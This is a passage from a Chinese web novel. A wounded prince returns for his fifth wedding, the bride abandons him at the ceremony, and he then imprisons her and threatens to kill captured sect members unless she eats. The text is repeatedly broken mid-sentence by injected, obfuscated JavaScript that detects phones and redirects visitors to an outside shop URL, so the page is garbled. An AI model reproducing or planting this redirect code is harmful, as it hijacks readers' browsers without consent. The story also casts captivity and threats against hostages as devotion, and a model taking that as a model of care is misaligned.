那把弓箭,是她十五岁生辰那年阿翁送给她的。她别的不行,却精于骑射,十几岁时便能百步穿杨,南疆王是以特地送了她最好的弓箭作为生辰礼物。 因一己私情怂恿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14104786|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 亲人发动一国之兵,却又没那个本事驾驭住,阿尔汉啊阿尔汉,你可真是丢人!一切、一切都是因为这个男人!如果不是他的出现,她又怎么会变成现在这样?! 金色的弓箭瞄准了下头那个人。 君琰,既然得不到你,那就让你死在我手里!就让我死前的最后一眼,看到的是你! “嗖——”地一声,金箭破空而出! “王爷!”张平刚好看到那支金箭射中了他的左臂,赶忙打马过去,转瞬又看向城楼的方向。 君琰忙于左右拼杀,并未留意到这突然飞来的一箭,左臂忽一阵剧痛,他差点坠马,勉强稳住了,亦抬头一看—— 阿尔汉正站在城楼上,放下了弓。 “王爷,我来解决她!”张平一箭回射过去—— 她没有躲,箭矢正中她心脏,她从城头跌落了下来! 耳边风声呼啸,一生中所有难忘的画面纷纷以最快的速度在脑中闪过。 阿翁,阿爹阿娘,长姐,对不起…… 君琰,其实我更希望刚才这一箭,是你射的。 她的身子落入了无边的火光中。 “王爷,没事吧?!” “箭上有毒,本王还能再坚持一会儿,速速破敌入城!”他忍疼砍去了箭矢长出来的部分,继续与敌军厮杀。半刻钟后,楚军冲进城去,夺回了原属于他们的城关…… 大地在转瞬间归于静默,战场上遍地尸骸,一片狼藉。 捷报传回京城,已是十几天后。 “公子,管粮草的人必然和外敌有勾结,是不是该秋后算账了?”陆云问他。 出乎意料的是,君琰却没有应是。“有人私通外地,有人本就是内奸,但这一切,本王现在都不想管了,你们也不必去搜集证据了。他们对本王有意见也再不关本王的事……本王要离开京城这个污浊之地!” 那箭头上的毒太烈,只能一点点地解,如今他的状况依然不太好,中了箭的那只手被包扎着,另一只手却拿着旗子,在和他的副将下棋。 陆云一讶,“南境大捷,公子不回京吗?” “这是我为朝廷打的最后一仗。出征前我与皇兄说过,只要我到了这里,就必不再让外敌进犯一步,我做到了。皇兄定下一个月的期限,我打这场仗共花了二十八天,我也与他说过,待此战告捷,便永生不再回京,现在也是该兑现的时候了。京城啊……就是个吃人不吐骨头的地方。”他摇着头笑了笑,“没什么好留恋的。” “那京城的王府呢?之前公子可是好好收拾、日日洒扫西厢房的,不就等着接沈小姐一起去住?” 拿着棋子的手微微滞了滞。 “这个以后再说吧。若她想去京城,我自会带她去,但我往后去京城,都不会再知会皇兄了。另外,皇兄对我的婚事一直都颇为不满,我担心他会对沈月不利,所以我的那块免死金牌,还有我这个亲王的爵位,都已一并奉还朝廷,以抵皇兄对沈月之怒意。从今往后,我娶谁再和朝廷没有半分钱的关系。” 陆云一怔,“公子你……” “是。这些意思我都已在信中言明,让姚寂亲自送回京了。”悠然一笑,似并不在意下属吃惊的神情,继续与他的副将道:“该你落子了。” 张平:“王爷,您真要走,那我们这些人怎么办?我们可都是您亲手带出来的兵。” “那也只能对不起你们了。这支军队,当初组建起来是为了朝廷,如今我已无心在此……不过你们若是想我,也可常来江浙看看。以后就没有景王了,只有九公子。” “我明白了……不论王、九公子做什么事,我等都是绝无二话的。” “你们的后路我都已安排好了。这局棋下完,你去找玉冰,他会告诉你。” 张平眼眶一热,“王爷……” “我走了,这个征南大将军就给你做吧,此事我也在信里与皇兄说了。只是日后你就要独当一面了,朝中仇视我的人不少,你又曾是我的下属,必然也免不了要受些明枪暗箭,自己打起精神来就是。” 张平跪了下来,直磕头,“王爷为属下想得如此周到,属下肝脑涂地也难以为报!” “这是做什么。”君琰落下一子——“我带出来的兵,不要轻易跪人,从今天起我也不再是你的上司。” 张平这才起来了。 “您可还有什么话,要对属下说的吗?” “尽忠朝廷,周全自身。”他看到棋已下完了,便起身。 “请恕属下多问一句——如果这二者相矛盾,又该如何选择?” “选朝廷—— 千万不要学我。” 他出去了。 随身只带了两壶酒、一把剑。 大夫说他中箭后余毒未清不宜饮酒,他却因心潮澎湃而听不进去话。大夫说让他至少得再修养一月才能上路,他却归心似箭,根本不照做。 九月初六。 她好不容易才对自己回心转意,绝不可再失信于她。 至于身体,顾不上了。 胯下骏马快如疾风,很快便从南境启程,向东一日千里地奔赴江浙…… “大夫您别生气,公子他……”陆云试图劝慰。 “老夫一生行医,还从未见过如此任性的病人!铁打的身子骨也经不起这般折腾呀!”大夫气喘吁吁地在后面赶着,一对八字小白胡须一上一下地轻快飞动,“偏还要老夫一路跟着,老夫这是造了哪门子孽呀?!” “我帮您!”陆云一把将他拉上了自己的马,坐在自己身前。 “……你干什么?!” “您的马不行,换我的,驾——!” 夭夭,等我…… 君琰心里想着她,骑着马跑了太久,眼前忽然开始模糊了。 残毒未去、旧伤未愈的身体,确实经不起这般折腾。 “公子!还是休息一下吧。”陆云即刻冲了上去,“耽搁几天又有什么关系呢?” “不,不能耽搁,一天也不能!”他苍白着脸,尤不肯停下,喉头已发不出什么声音,尤扯着沙哑的嗓子道:“实在不行,你们就找个人来……运也要在九月初六前把我运到浙江!” 60. 九月 梦中有一姑娘向他走来。 她让他躺在杏树下,对他施了法,让他浑身都不能动弹,然后俯下身来,轻轻地道—— “好讨厌,你又失约了。” “你说,我该怎么罚你?” 他想要回答她,却发不出声音来…… “不理我是什么意思?”她抬起莹白的手指,点了点他的额心,眼中温柔忽然散去,由春入冬,笑意不达眼底:“不理我,那你就永远,都别开口说话了。” “——夭夭!”他终于喊出她的名字来,这一喊自己就醒了,猛然从榻上坐起来,才发现刚才是在做梦。 原来是梦啊…… 脑子有些昏沉,嗓子也很干,他环顾四周,拉了拉床边的金色铃铛。 “公子醒了?”陆云端着热茶水进来了。 “现在到哪里了?” “快了。我们和晏大夫合计想了个办法,干脆让公子昏睡过去,我们运着你赶路,这不,一下就十几天过去了。” “十几天……” “公子再坚持一下,大概还有五日就能到浙江了。” 严霜九月中。 “阁主,九公子差人来信了,说他马上就到浙江。”静儿哒哒哒跑进来送信。 沈月拆开大致看了看,便把信撂在一边。“知道了。” “阁主这回准备怎么对他?” “这还用说么?”连日来处理阁中事务,她看上去有些疲惫,“义父待我恩重如山,我难不成还真的嫁给杀他之人?若不为恩人报仇,我还是个人么?还配做这个阁主么?” “奴婢有些担心,您现在是阁主了……九公子,如果真的被惹恼了,遭殃的怕不只是阁主一个人。” “你说得有理,但我不会让这样的事发生。他若真对星月阁下手,我会拉着他……同归于尽。” 静儿面色一变,“……这样的话轻易说不得呀阁主!” “我若出事,就让阁中武功德艺第一的人来当阁主。” “所以,阁主您……” “九月初六那天,劳你帮我看好阁中一切事务。他也许还不知我已查出了他是杀害义父的凶手,又或许他已经知道,无论他是否已经做好准备,这个仇我都必须报。” 静儿歪了歪脑袋,“据我们目前的情报,九公子南征时被毒箭射中,至今毒未全解,马不停蹄地赶到浙江来的。还有,他已向皇上辞行” “听你的意思还有几分同情他喽?”沈月根本不待她说完,打断了反问道。 “奴婢也不是这个意思……” “难道他在战场受了伤,我就不找他报仇了吗?一而再再而三对我的亲人下手,我岂能……再放下?”她站起来,目光灼然,“以后有关他的事不用再报了,我不想听。” “可是阁主,您不是前几天还说要盯紧他的动向吗?” “……” “阁主心里乱,奴婢虽不能感同身受,但也总想帮点什么忙,阁主每次出嫁都说要向九公子报仇,却没有一次真的杀了他……您对他到底是一种什么感情?” “……自然是恨!” 她说完就出去了。 外面正在下雨,她站在雨中的梧桐树下,看着脚边湿地上的落叶,抬头时,不远处有人正过来:“阁主,九公子差人送聘礼来了。” “我还要什么聘礼。”她说,“前面几次他都送过很多了,真是有钱没地方花么。” “九公子派来的人说,各项议程一样都不能少。” 仆僮们冒着雨将一些大箱子搬进来…… 她顿时觉得这情景颇为扎眼,心口喘不过气来,转头便又回屋去了。 若非婚前不能见面的破规矩,若非体内余毒未清,君琰早就飞到星月阁去了…… 忍,他得忍。 忍到大婚那天就好了。 这段时间夭夭都在做些什么呢? 沈因初忽然走了,她一定很难过,又成了阁主得挑起星月阁的胆子,自己要怎么帮她的好?不帮是不可能的,帮得太明显,夭夭可能会介意…… 婚礼要怎么办,能让她更开心呢?原来的夭夭喜欢热闹,现在却不好说了。自己这次送去的聘礼,她可还喜欢吗? 这次一定要娶成,若再不成,她的处境就更危险了。自己虽将免死金牌和亲王爵位都给了皇兄,可毕竟世事难料啊…… 不过无妨,只要他在这里一日,就绝不会让任何人动她一根头发。 此后他不再是大楚的景王,只是江湖九公子,只是她一人的…… “公子,晏大夫来了。” “疗毒,疗毒!”老大夫不满地把拐棍往地上戳了戳,“一天天的不知道都在傻乐些什么,从不记得疗毒的时间,还得老夫来提醒你。” “有劳您了。”君琰乖乖将手递过去。 “你那婚期真的不能延迟?现在这情况,最好不要穿很厚重的衣服。” “这个不成,必须是九月初六。”他说,“这是我欠她的。” 若是换了别人,九公子早就是一副冷脸叫人把他拉出去了,可对这位晏大夫却是不同,不只是因为他现在的毒世上能疗的没几个人,也是因为晏大夫与景王府颇深的渊源关系。 “情况不大好啊。”晏大夫皱着眉,“你真当老夫是神仙不是?” 君琰淡淡一笑:“世上自然没有晏大夫您治不好的病人。” “少拍马屁,老夫不吃这一套!”晏大夫的八字小白胡须又被气得吹起来了……“你现在不是景王了,皇上自然也不会再给你留着王府,重要的东西都搬出来了,那旧人你还用得着吗?” “当然。我让他们都去我在江南的住所了,这您放心。” “哼。”晏大夫的小白胡这才安静了下去,“若非深知你这家伙的底细,老夫必然会被你气死。” 君琰和顺地笑着:“气死谁也不能把晏大夫气死了。” “那是啊,气死了谁给你疗毒?” “好吧,晏大夫……”他歪了歪脑袋,眨眨眼睛,“初六那天还得劳烦您给我开一味药,把毒-性压住,那天对我很重要,我可不想出什么岔子。” “这种药是有反噬的。”老大夫哼了一声,白了他一眼,“手,动一下。” 另一边,夭夭去看望阿爹阿娘了。 为防止老头子又凶小丫头,洛宁氏命令洛商丘先出去,让女儿与自己单独说话。 “阿娘,沈阁主去了。” “阿娘知道。”洛宁氏拉着她的手,“你落难之时, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14115150|142718||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多亏是他出手相助,你是个知恩的好孩子,所以你想给他报仇?” “……嗯。” “凶手是谁啊?查清了吗?” “阿娘对不起。”她说,“您上次说的话我有好好想过,本是想和君琰了断,可我还是做不到,再加上他现在又杀害了义父……” “又是他杀的?!” “除了他,江湖上没有谁有这个功夫和能力做这件事。他杀义父的目的,就是陷星月阁于动荡中,我现下成了新任阁主,为自己和星月阁求庇护,只能嫁给他!” “你……” “但是阿娘,我岂会就这样让他如愿?” “傻孩子,你又要……” “我对不起阿爹阿娘,也没有在义父生前尽孝报恩,我唯一能做的,就是报仇。司云哥哥和我说,再过几天他就要带你们去安全的地方,你们好好过日子,我若还能回来,便再来找你们。” “夭夭,”洛宁氏叹了口气,“你这是要接连往娘的心上捅刀子啊……” “哎……娘就你这么一个孩子,在你之前……”洛宁氏的思绪好像飘到了很远的地方,她看向窗外的天空,似乎想在那浩渺高天上找寻一只失联的风筝…… “阿娘是想到往事了?”她瞧出了阿娘的欲言又止。 “哎——往事叫人伤心,不说也罢了。”她又叹了口气,“喊你阿爹进来吧。” 不一会儿,洛商丘进屋来了。 她又说了一下自己的决定。 “你现在做出什么事来我都不觉得奇怪了。”洛商丘沉着脸,似也很无奈,“你自己看着办吧!” “知恩图报也是阿爹阿娘教给我的。当初被义父认养的时候,我没有什么能力报答他的恩情,还没来得及做些什么,他就突然去了。恩人被杀害,我无法坐视不理,更何况这个凶手,本就和我有血仇。你们不必为我担心,也许……其实我早就该死在那场屠杀中。” 她的背后,洛宁氏忧伤地看着她……就连一向脾气不好的洛商丘,此刻眼中也充满了深深的忧悲和无奈。 洛宁氏又想开口…… 却还是欲言又止了。 “我苦命的孩子。你又是何苦,要背负这么多呢?” “因为这本就是我欠下的债。” “都怪我,都怪我和你阿爹……”洛宁氏眼中闪出了泪花,拿出手帕拭泪道:“如果我们有那个本事,就可以帮你报仇了,你就不必亲自趟这个浑水……都是因为我们太没本事……” “阿娘,您别这么说!”她弯下腰来给母亲拭泪,“这一切,根源都在于我自己……我如今所有的遭遇,都是因为那一天,和他跑了……” “一定非这么做不可吗?”洛宁氏握住她的手,“那我们有什么可以帮你的呢?” “阿娘阿爹照顾好自己,便是我最大的心愿。更何况,我不一定会死呢,只是若不替恩人报仇,我此生难安。阿娘,你们便放心去吧,这个地方不能久留,君琰耳目清灵,很可能会查过来。到时若有消息,我定第一时间给你们写信。” 她走出去,外面还在下雨,她口中哼唱起了旧时歌谣…… “荒草和茫茫,白杨亦萧萧。严霜九月中,送我出远郊。 送我出远郊……” 61. 五嫁 九月初六终于到了,他服下晏大夫开的药,暂时压住体内余毒,第五次穿起了新郎官的衣服。 厚重的喜服已让他有些麻木,迫不及待前去迎亲…… 这一天,实在是叫人等了太久了。 他骑马走在前面,身后的喜轿里坐着新娘,道路两边看热闹的人已没有前几次多了,与之前的热闹八卦不同,如今的民众对他们这场婚事更多的是好奇和疑惑,各种流言猜测满天飞,但他并不在乎这些。 马速略微放缓了点,他思念她太甚,想悄悄与她说说话。 凌空忽然飞来几只猎隼! 嗷嗷盘旋,久久不去,一直追着迎亲队伍不走…… 围观的百姓纷纷抬头望去,有的被吓怕了,忙拉着孩子躲远去了,一时间道路两边的人走了许多,陆云见状忙让人去将那些隼赶走。 若非嫁娶日捕杀不吉利,君琰怕是早就挽弓搭箭,将这些不识时务的凶鸟一箭穿心了。心知手下人也晓得怎么办的,便也没多做吩咐,只是加快了行进速度。 “大凶,大凶啊!”不知是谁在人群中喊了一声,街道两边开始乱了,窸窸窣窣的声音不绝于耳。君琰终是忍不下去了,抬头看见那几只隼怎么也赶不走,便对手下道:“拿我箭来。” “公子不可,您手臂上伤还未愈,不宜拉弓,这是晏大夫嘱咐过的。更何况您还吃了那药,更是不能轻举妄动!” “拿来!”他并不听从,又命令一句。 “……公子,您不为自己身体着想,可属下不能眼睁睁看着啊!” “胆子肥了你,”君琰不再多说,俯身,径自拿走了陆云的弓箭,对准天上就是几箭,“嗖嗖嗖——” 两只隼应声跌落下来,尤为死绝,另外几只眼见同伴受伤,纷纷都起了复仇之心,恶狠狠地俯冲下来! 君琰又放出两支箭,射落了两只隼,再要搭第三箭,却发现箭用完了! “陆云,拿箭来!” “公子,您带新娘子先走,这里交给我们!” “啊——”喜轿内传来姑娘的惊吓声。 “夭夭别怕!”他下令停轿,下了马将她从车里抱出来,和自己同乘一匹马,坐在了自己身前。“别怕,我在。” 红盖头被风吹走了,两人一骑飞驰而去,猎隼却已认准了仇人,并不肯冲他那几名手下攻击,只一路都追着他。 玉冰追在后面将隼射落,却不料刚解决完这一波,又有隼出现了,这回它们倒没再追着君琰,只专攻他们这些人。 “奇怪,怎么会忽然有这么多隼?” “我总觉得是有人故意为之!”陆云挥剑和几只猛禽相博,一面说,“可恶,被它们缠在这里,分不开身去管公子啊!” “站住!”君琰带着夭夭跑到安全的地方,那些隼被下属们拦在了后面,眼前却忽然出现一群乌压压的人影。 “九爷,咱念你是条汉子,今儿也不多为难你,你把这位小姐留下,我们就此让道。” 他没说话,闭眼冷哼了一声,周身真气散出…… 本公子平生还没被人威胁过,一群不知名的杂碎,就敢来动我? 很快,那群人中间接连冒出了惨叫声,她被他护着,看不清他是如何出手的,只是身边围攻的那些人接连倒下,骏马快疾如风,在这群人中破开了一条血路。 “让你受惊了,等我回头一定查清这些人的来处。”他与她附耳说道,她没有答话,只是环顾四望…… “咳咳。”事出紧急,服过那药后的反噬提前开始了,他不想被她看见,生生把喉头的血压了回去,正想再安慰她一下,马儿忽然跟中了邪似的,发狂般将他二人摔了下来,撒蹄跑走。 “夭夭!”他第一时间想去拉她,她却已自己起身了,好像看到了什么人,不顾一切地往前方奔去…… “夭夭,你要去哪里?!”他跟着追去,却惊见前方出现了一个熟人…… “司云哥哥!”她竟就这样朝对方跑过去,没再看自己一眼…… “我来了,是我来晚了!”司云热切迎上,一把将她拉过去,抬手抚着她脸上晶莹的小汗珠,语气极是爱怜,“夭夭妹妹,苦了你了。” “夭夭!”他体内毒已开始反噬,有些艰难地朝她一步步走过来,伸出了手,语气极尽卑微……“你在做什么?快,快回到我身边来。” 姑娘对他的邀请置若罔闻,当着他的面,任由司云抱着,这时候终于正眼看向他来,露出了一个微笑。 “你……”他终于忍不住了,细长的血丝顺着脖颈流下来,“夭夭,今天是我们成亲的日子啊,你和我说好了的,就是今天,你……为什么?” 她瞧着他毒发的样子,听着他渴求的语气,看上去没有半分动容,娇娇一笑:“因为你傻。本小姐说什么你都信,你怎么那么天真?” 怎么那么天真…… 这话好生熟悉。 好像,是他从前对她说过的。 所以她现在是,以彼之道还之彼身吗? 方才面对突发情况不顾惜身体去射箭的时候,他没有多痛苦;为毒箭射中后从南境一日千里地赶回来也没有多痛苦,可是现在,她轻轻的一句话却让他如坠深渊……那颗药要压不住体内余毒了,方才的一番折腾更是让伤情恶化,心里的痛却更甚于身上的,想起她也曾有要与自己和解的意思,为什么又变了呢? “我与夭夭妹妹青梅竹马两小无猜。”司云这时候说话了,“要不是你横插一脚,我们早就在一起了,会有着美满幸福的生活,她心里一直都有我,尤其是在被你伤透心之后,只是你,太自负了而已。” 是他太自负了吗……? 曾几何时,司云偷偷翻进王府来要带她走,彼时她是如何对他的,现在她又是怎么做的?那时候她对自己百依百顺,为了哄自己高兴,也可以当着司云的面亲吻自己,现在呢…… 从前那个满心满眼都是他的人,当真回不来了吗?无论他怎样做,都回不来吗? 夭夭从来不是个无理的人,若非自己从前对她的伤害太大,她又怎会如此往复地折磨他?他是错了,错在不该不顾及她的感受。她从前也只是个相信情爱的小姑娘,他对她太过分了。如今为她悬心的日日夜夜他是怎么过来的,从前她在王府中的那些日夜便是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我们之间也就这样了吧,君琰,我会一直折磨你到你死心为止!”她又想起了义父的死,眼中恨意更甚,“你不让我好过,我亦不会叫你好过。” 转瞬又扬起一个微妙的笑意:“不过,若你心志坚定,我倒是不介意陪你玩个游戏,我们来赌,看看是你先心死,还是我先心软。” “心软……”他轻轻地嘲讽一笑,“你当真还会对我心软吗?我若现在毒发了死在这里,夭夭……”他看向她的眼睛里,充满了苦涩和渴望,“你可会伤心?” 她看着他露出了更大的笑容,故意说——“放心,我当然会很高兴的。毕竟,天底下能让你九爷不得好死的人可没有几个,我若能做得到,那可真是大造化了。” 他听了这个回答,再忍不住,捂着胸口咳血不止…… “公子!”陆云、玉冰他们的声音在这时传过来了。 “司云哥哥,他的人来了,我们快走吧。” “拦住他们,”君琰沙哑着嗓子,悲愤几欲冲出胸膛,一声令下……“拦住他们!” 62. 带走 四大堂主都不是吃素的,他们跑不过…… “走啊!”她将司云往旁边一推,自己往另一条路上跑去,众人便追她而来,司云逃过一劫,她则被抓住了。 玉冰赶到了说:“沈小姐!你几次三番悔婚,置公子于险境,我不管你们从前有什么恩怨,至少他现在” “玉冰!”君琰赶了上来,让他住了口,然后走到夭夭面前。 血滴在干净的鞋面上,他抬手擦了把唇角的血渍,脸白如纸地看着她,声音虚浮: “我可以和你赌。 这一次事情又没成,没关系……我等你再缓一缓。下一次,下一次我们再办…… 玉冰,把她带走吧。” 沈月:“你待如何?!” “带你走。” “……我是星月阁阁主!” “阁主谁来当无所谓,就算不是你,也有人可以顶替。”他撑着口气说完话,不太能坚持住了,她见状心痛,嘴上却要更添一把火:“我知道我们的人比不过你的,但是司云哥哥不会放弃我,他一定还会再来,从你手中把我抢回去的。” “唔——” “公子!” 他终究没能撑住,又一次在她面前倒了下去,毒发后吐了一地的血,她则被人押着,不能动弹,看着他的几个属下手忙脚乱急切的样子…… 君琰让人把她关了起来,关在一间屋子里,屋内整洁敞亮,一应物品齐全,桌前的花瓶里还插着两枝刚折的杏花。 不认识的丫鬟会到点前来送饭,将吃食放在窗口便走,一句多余的话也不会说。 他终于被惹怒了……所以,又要用从前的方式来对我么? 她不觉想起了自己从前在王府的日子。那时候,他也是囚禁了她。无奈如今星月阁的实力不如从前,根本不是他的对手。 他看上去中了很烈的毒,也不知现在怎么样了。 可即便和从前一样又如何?现在的她已不是从前的她了。他所有的喜怒哀乐,都必须由她来施予。 两天过去以后,第三天晌午,君琰醒了,过来看她。 他脸色看上去依然很差。 她转过身不去看他。 “夭夭。”他出声唤她,语气里透着几分小心,拿出了一笼她从前喜欢吃的豌豆黄放在桌上,“我没有别的意思……” “我不会要你任何东西,拿走。” “我听说你这几天不怎么吃饭,”他向她走过来,“这样可不行。” “被你关在这儿,能有心情吃东西么?”她转过身,看了看桌上那笼糕点,冷笑:“这什么呀,豌豆黄?” “是啊,我记得你从前最喜欢吃这个,城东那家的。” 她“啪”地将盖子合上,“现在不喜欢吃了。” “……诶?口味变了么?” “不只是这一件,从前所有喜欢的东西,现在都不喜欢了。”她含沙射影地道,“又比如这杏花,我从前喜欢这种花儿是因为你吹过《杏花疏影》的曲子,但现在想来,杏花美丽,所结杏子却苦涩难食,就像‘霁月难逢,彩云易散’,开头美丽而结局潦草,实在是不值得让人喜欢。” 物犹如此,人当如是,他听明白了。 “可什么时候是结局,你并不知道。你怎么就确信结局一定是潦草的呢?” “因为我不能当什么都没发生过,有时候结局在一开始就已经注定了。” “你说了要和我赌的……夭夭。” “把我关在这里有什么用呢?我不会杀你的,但我可以杀了我自己。” 他马上说:“你若敢寻短见,我即刻派人杀了司云。” “呵。”她冷笑,“君琰,你还是和从前一模一样,一点也没有变!威胁人的方式都一样。” “你有些也没变,比如,还是和从前一样在意身边的人。我一说到司云,你的眼神立刻就变了,你紧张了。”他上前,盯着她,眼中几近疯狂,“你当真喜欢他?” 她冲他眨眨眼睛,“我很乐意他来抢亲啊。” 他眼前又浮现出几日前她当着他的面扑进别人怀里的那刻…… 心肝乱颤,疼痛莫名,宛如万箭穿心。 “你去京城的时候,司云哥哥经常来陪我,我们一起下棋、作画、读书,别提有多自在,他还会帮我打理阁中事务,从不给我什么脸色看,哪怕我之前没有选择他,他都从没想过要娶别人。他还说,若注定了娶不到我,他就终生不娶,孤独终老。” 她说这些的时候,有意流露出那种愉悦的神情,愈发叫他看得嫉妒难忍,心在滴血……“这么久了,我从南境赶回这么久了,你竟一句也不问我的情况,满口都是那个司云!” “不应该吗?”姑娘巧笑倩兮,轻声道:“以前你和张王妃情浓的时候,又问过我吗?” “我……!” “没话说了吧?前有因后有果啊,九公子。” 原想见到她了有千言万语要说,此刻是一个字也说不出来了,他心里头堵的厉害,喉头一阵甜腥,转身用手捂住嘴,咳了血在手中…… “这毒有点厉害啊。”她在他身后说,“你的大夫一定嘱咐了你不要瞎折腾吧,呵,不听医嘱的自负之徒。” “你是在嘲笑我吗?” “不敢,我怕您会一个不快又杀我全家。” “……夭夭,”他叹了口气,“这几天外面很乱,星月阁也不安全,你先在我这里待着,不然我不放心。” 说完,快步走了出去。 他前脚刚走,她拿起桌上那盒豌豆黄,噼里啪啦砸了出去! “谁要你的东西?!——拿走!” 好大的一阵动静响过了,她回到里屋,坐在榻边悄悄哭了起来。 司云曾经问她…… 若当真这么恨君琰,为何不直接跟他断了,或是直接将他杀了? 她说…… 不,我就是要折磨他,就是要让他痛苦! 让他痛苦或是快乐,他的情绪都必须由我所控,就像他从前控制我一样。 司云哑然—— 忽觉得自己问这个问题很多余。 她是这样对君琰,自己对她又何尝不是那种复杂的情绪……明知得不到她,却还是不想对她放手,无论以何种方式,都要纠葛在一起。 然最近的日子确实不太平,她自是不知何故,浙江忽然乱了,有人起兵造反,朝廷派人前来镇压,对面却是一波未平一波又起,甚至还出现了易子而食之事。好在阿爹阿娘已转移到安全的地方,不必再让她担心。 “公子到底是何苦呢?”玉冰道。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“兴许那和好只是她做出来的假象呢?她现在把您玩弄鼓掌之中,心思可是多得很,和从前的洛夭夭根本不一样了。” “可我觉得她不像是骗我……也许是她又想起了从前那些回忆,又痛苦了吧……是我的错,是我让她这么痛苦,所以,我该当受她的罚。” 玉冰叹了口气,“您把她关在这里,一部分也是为她的安全考虑。那最近的事儿,公子要插手吗?” “浙江的事儿自有衙门的人管,我现在不是王爷了,别人的生死与我何干,我只在意自己在意的……”说着叹了口气,“她还是不肯吃饭吗?” “吃得很少,把公子送她的豌豆黄也给摔了。” 他一时又心绪难平起来,骨节分明的指头不受控制地捏碎了手里的杯子。 玉冰无奈:“公子,您又动内力了,您听下医嘱好不好?” “抱歉……一时没控制住,你别告诉晏大夫。”他缓了缓,语气一时又恢复了果决:“星月阁现在无人坐镇,你找人去抓几个阁中人来,要品阶高的。她若再不肯好好吃饭……我便当她面,将这些人一个个都杀了。” “这方法确实高效,只是……沈小姐现在还在意他们吗?” “当然。我说过,她骨子里没有变,还是和从前一样,在意身边的人。她可以不在意自己、不在意我,但不能不在意他们……既然她说自己变了,呵,那我便试试。” 63. 对白 星月阁中人心浮动…… 侍卫a:“听说阁主被九公子抓走了!” 侍卫b:“这是终于把他惹恼了?毕竟阁主已经嫁了他五次了……” 侍卫c:“不只是阁主,我们几个高阶兄弟昨晚忽然不见了,我觉得这里面有鬼!” 侍卫a:“难道又是九公子?” 侍卫b:“这也欺人太甚了,我们星月阁不要面子了吗?难道说离了老阁主,我们就都活不下去了?” 侍卫a:“我倒是听说了一件事……” “什么事?” “我听说,杀害老阁主的凶手,正是九公子!” “啊?!” “所以阁主才要给老阁主报仇,本来要借这次嫁他的机会杀他,谁知道不成,反被他抓住关了起来,现在阁主下落不明,他又派人抢走了我们这里几个弟兄,真不知是什么居心!” “那我们岂能坐以待毙?!既然老阁主是他杀的,那我们全阁上下都应该报仇啊,岂能只看着阁主一个人豁出命去?” “平时和阁主关系挺好的那个司公子好像知道点什么,我们派个人去与他合计一下吧,九公子竟对星月阁下这样的手,我们可不能忍!” * “带进来。” 十来个星月阁的人在她面前一字排开,嘴都被封上了,不能开口说话,只是一个个都用灼灼目光看着她。 她一下子站起来,“君琰你要干什么?!” “你若还是不肯好好吃饭,”他拿剑指向他们其中一人,“我就当着你的面,把他们杀了。” “……你!” “你好好吃一天的饭,我就放一个人,哪天没好好吃饭,我就杀一个人。不瞒你说,我抓了好几百个,你若不想恩人的基业毁在自己手里,就得听我的。” “君琰,你还是和从前一样爱逼迫人!” “我若不逼你,难道你就这样下去吗?你看你的脸,都瘦了一圈了。待在我身边就让你这么痛苦吗?” 他不再说别的,剑尖逼近了那个人…… “别杀!”她大喊一声,起身端起碗大口吃饭。 他放下了剑,静静地站在那里…… “慢点吃,别噎着。” 她根本不听,快速扒着米饭,泪水掉进了碗里,和着一起咽了下去。他看得心头一瑟,抬手,刚想上前给她拭泪,又止住了。 她应该不想让自己靠近吧。 他终究是想对了,她仍旧是在意身边人的——这点她装不下去的,因为她不能眼睁睁看着他因她杀了那些人。她只是,不在意他了而已。 心在滴血,他慢慢放下了悬在半空的手,扭头道:“把这些人带下去,先关起来。” “是,公子。” 嫉妒、愤懑、绝望、无力……内心五味杂陈,宛如白花花的盐抹在伤口上,他的身上、心上,皆疼痛莫名。 她可以在意任何人…… 可以是星月阁里任何一个人,哪怕平时素未谋面;可以是和她青梅竹马的司云,可以是她的下人,甚至可以是毫不起眼的秦璐……是谁都可以,但不会是他。 她爱任何人却不爱他了。 沈月很快将一碗饭扒完,“啪”地放在了桌上,转过身不再看他。 “你只吃了一碗饭。”他的声音这时也变得冷冷的了,“把旁边那份水果吃了,我就告诉你星月阁的情况。” 她眼角一动。 是啊,这是她现在最想知道的…… 这回算计他的时候,原以为能像前几次那样脱身,没想到会被他抓过来关着,自己如今是阁主,自己不在,星月阁现在如何了? 心念一动,刚拿起盘中一颗葡萄…… 如碰到热浪般,她触到了他的眼神—— 渴盼,无奈,哀求,无望,还有隐忍。 忽地就把葡萄放下了。 “不吃。” “为什么?”他看着她。“你不想知道星月阁的情况吗?” “我想知道,但我不信你。从你嘴里说出来的是真是假都不一定。” 